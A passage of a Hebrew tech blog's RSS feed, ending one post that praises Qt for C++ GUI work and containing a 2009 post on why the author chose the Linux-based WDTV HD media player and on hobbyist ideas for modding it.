<li>דברים מאוד לא טריויאליים כמו UI יפה לוקחים שם כמה שניות גם לאנשים שלא מבינים לגמרי איך הדברים עובדים.</li>
<li>אין רגשות אשם, כל הקודים יתקמפלו כמו שהם גם בלינוקס או מאק.</li>
</ul>
<p>אבל זה לא באמת ++C&#8230; לפחות יש חלקים שקצת לא דומים לתקן, וזה גם טוב וגם רע. זה טוב למי שלא התרגל לשפה עדיין ויכול ללמוד דברים חדשים. החבילות של Qt מאוד עקביות ושימושיות, ה Debuger מציג את המשתנים בזמן אמת בצורה לוגית ולא כמו שהם שמורים בזכרון באמת, למשל רשימה מציגה איברים ולא פוינטרים שרצים לאין ספור כיוונים.</p>
<p>לי היה הרבה יותר קל לחזור ל ++C אחרי שהיה לי את התרגול של Qt ובניתי פרוייקט שאני אפרסם כאן בקרוב.</p>
<p>היה לי מאוד קל לעצב UI שנראה לא רע בכלל, ככה, למשל, נראה העורך:</p>
<p><img class="alignnone size-large wp-image-469" title="mirrcr qt editor" src="http://www.binaryvision.org.il/wp-content/uploads/2009/11/mirrcr-editor-1024x715.png" alt="mirrcr qt editor" width="516" height="361" /></p>
<p>מי שזה מעניין אותו מוזמן להוריד את כל הכלים באתר <a href="http://qt.nokia.com/" target="_blank">qt.nokia.com</a> וגם מוזמן לצפות שם במאות סרטוני ההדרכה (והפרופוגנדה).</p>
</div>]]></content:encoded>			<wfw:commentRss>http://www.binaryvision.org.il/?feed=rss2&amp;p=467</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>&#8235;WDTV HD Media Player&#8236;</title>		<link>http://www.binaryvision.org.il/?p=456</link>
		<comments>http://www.binaryvision.org.il/?p=456#comments</comments>
		<pubDate>Fri, 18 Sep 2009 17:20:44 +0000</pubDate>
		<dc:creator>&#8235;Fate&#8236;</dc:creator>				<category><![CDATA[כללי]]></category>
		<category><![CDATA[Firmware]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[WDTV]]></category>
		<category><![CDATA[האקינג]]></category>
		<category><![CDATA[חומרה]]></category>

		<guid isPermaLink="false">http://www.binaryvision.org.il/?p=456</guid>
		<description><![CDATA[&#8235;
מבוא לאחרונה אולי שמתם לב, אולי לא, אני נמשך יותר לחומרה והאקינג שלה. בין אם זה OpenMoko, או הנתב של Edimax, או במקרה הזה נגן המדיה של Western Digital. כן כן, של Western Digital, יצרנית כוננים קשיחים&#8230; לאחרונה ניתקלתי בצורך לנגן וידאו HD, בצורה הכי זולה שיש, בלי להזיז כל פעם את המחשב הנייד אם [...]
&#8236;]]></description>			<content:encoded><![CDATA[<div dir="rtl"><h2>מבוא</h2>
<div id="attachment_460" class="wp-caption alignleft" style="width: 160px"><a href="http://www.binaryvision.org.il/wp-content/uploads/2009/09/wdtv_mypassport.jpg"><img src="http://www.binaryvision.org.il/wp-content/uploads/2009/09/wdtv_mypassport-150x150.jpg" alt="WDTV ליד כונן 2.5 אינצ&#039;" title="WDTV_Near2.5HDD" width="150" height="150" class="size-thumbnail wp-image-460" /></a><p class="wp-caption-text">WDTV ליד כונן 2.5 אינצ'</p></div>
<p>לאחרונה אולי שמתם לב, אולי לא, אני נמשך יותר לחומרה והאקינג שלה.<br />
בין אם זה OpenMoko, או הנתב של Edimax, או במקרה הזה נגן המדיה של Western Digital.<br />
כן כן, של Western Digital, יצרנית כוננים קשיחים&#8230;</p>
<p>לאחרונה ניתקלתי בצורך לנגן וידאו HD, בצורה הכי זולה שיש, בלי להזיז כל פעם את המחשב הנייד אם אני רוצה לראות סרט במסך גדול.<br />
בפוסט זה אני אציג כמה אפשרויות ששקלתי, ולמה ביטלתי כל אחת מהן, למה בחרתי בסוף בנגן של WD, כמה שהדבר הקטן הזה מגניב ,מה אפשר לעשות איתו (מעבר למה שWD תכננו כמובן).</p>
<h2>אפשרויות חומרה</h2>
<ul>
<li>מחשב HTPC שאני מרכיב בעצמי
</li>
</ul>
<p>אפשר להרכיב מחשב במארז קטן שנראה כמו מארז של מכשיר Media Center כזה, ולהרכיב אותו ככה שיוכל לנגן HD.<br />
מבדיקה שאני עשיתי מחשב כזה עולה בסביבות ה1600-2000 שקל מינימום, והוא עם מאווררים על המארז, ולא בטוח עד כמה הוא מסוגל לנגן HD מלא באמת.</p>
<ul>
<li>XBox 360
</li>
</ul>
<p>מסוגל לנגן HD, תומך בהרבה פורמטים, יש לו ממשק מוכן למדיה סנטר, עולה גם אותו דבר כמו המחשב.. בערך 1600 שקל.<br />
וגם מקבלים את הערך המוסף של משחקים על הטלוויזיה.<br />
החסרון הוא כל הנעילות שמיקרוסופט עשו לו, ולך תדע מתי הם יחסמו אותך אם תשתמש במשחקים פרוצים.</p>
<ul>
<li>PS3
</li>
</ul>
<p>כמו XBox עולה קצת יותר (1800 ש&quot;ח), וכרגע לא נראה לי שיש פריצה בשביל המשחקים שלו, אז משחקים מקוריים עולים הרבה.<br />
לפי מה שקראתי הדבר הזה מפלצתי ומתחממם מהר, אבל מה, יש לו כונן Blu Ray, זה טוב לסרטים.</p>
<ul>
<li>WDTV HD Media Player
</li>
</ul>
<p>כשראיתי את הדבר הזה לא האמנתי שהוא מנגן HD, אבל מסתבר שהוא כן.<br />
הוא ממש קטן, ללא מאוורר, מעוצב בצורה טובה, וממלא את המטרה היחידה שלו בחיים, לנגן HD מתוך USB Mass Storage Device.<br />
הדבר הזה פותח עולמות חדשים, עולם של להביא את הנגן שלך לחברים שלך יחד עם סרטים.<br />
אתה לא תסחב עם מחשב או XBox או PS3, אבל את הדבר הזה יותר פשוט לקחת מכונן קשיח חיצוני 3.5 אינצ', הוא יותר קטן ממנו.</p>
<h2>למה WDTV</h2>
<p><div id="attachment_459" class="wp-caption alignleft" style="width: 160px"><a href="http://www.binaryvision.org.il/wp-content/uploads/2009/09/wdtv.jpg"><img src="http://www.binaryvision.org.il/wp-content/uploads/2009/09/wdtv-150x150.jpg" alt="WDTV" title="WDTV" width="150" height="150" class="size-thumbnail wp-image-459" /></a><p class="wp-caption-text">WDTV</p></div><br />
הוא זול, 650 ש&quot;ח ויש לך את הדבר הזה מוכן ומזומן להריץ לשדר דברים מעל HDMI.<br />
יש לו יציאת Composite למקרה ולמישהו אין HDMI.<br />
יש לו יציאה אופטית לAudio, מה שפותח את האפשרויות של קולנוע ביתי.<br />
הוא מריץ לינוקס, על מעבד שעובד על MIPS.</p>
<h2>עולם האפשרויות</h2>
<p>הפעם אני לא הראשון שעושה לזה האקינג, וכל העולם כבר כותב לזה Modים וFirmware משודרג.<br />
אפשר למצוא הרבה מאד דברים כאן: <a href="http://www.wdtvforum.com">http://www.wdtvforum.com</a><br />
עכשיו שאמרנו שזה מריץ לינוקס בואו נעבור על כמה רעיונות שאפשר לעשות איתו.</p>
<ul>
<li>לחבר כרטיס רשת לUSB
</li>
</ul>
<p>ניגון מכונן רישתי, סטרימינג מהמחשב, הורדת דברים ישירות אליו, Youtube, Trailers, Bittorrent, וכו'</p>
<ul>
<li>לחבר כרטיס רשת אלחוטי
</li>
</ul>
<p>אומנם יותר בעייתי לעשות סטרימינג מעל אלחוטי, אבל לשלוט עליו ולהעביר אליו דברים מהמחשב בצורה פסיבית, זה מצויין.</p>
<ul>
<li>לחבר USB Hub
</li>
</ul>
<p>ואז 2 הפורטים המסכנים יהפכו להרבה יותר, והרבה יותר מקום לחבר אליו אחסון.</p>
<ul>
<li>מקלדת עכבר וDebian
</li>
</ul>
<p>מי שלא יודע יש Debian על כל חבילותיו לMIPSEL, אז אפשר כנראה להתקין את זה עליו ופשוט יש לך מחשב חזק עם לינוקס שמסוגל לנגן HD.<br />
תחבר אליו מקלדת אלחוטית, עכבר אלחוטי, ויש לך מחשב סלוני עם מסך ענק. <img src='http://www.binaryvision.org.il/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<h2>לסיום</h2>
<p>בערך חצי מהסיבה שבחרתי במכשיר זה בגלל שהוא מריץ לינוקס, ויהיה כיף להתעסק איתו אחרי זה, לראות את הקהילה שלו מפתחת לו דברים, ואולי לתת יד בעצמי ולהוסיף דברים מעניינים למכשיר.<br />
מקווה שלא שיעממתי אותכם יותר מדי,<br />
תגיבו אם יש משהו מעניין שתרצו להגיד.</p>
</div>]]></content:encoded>			<wfw:commentRss>http://www.binaryvision.org.il/?feed=rss2&amp;p=456</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
	</channel>
</rss>
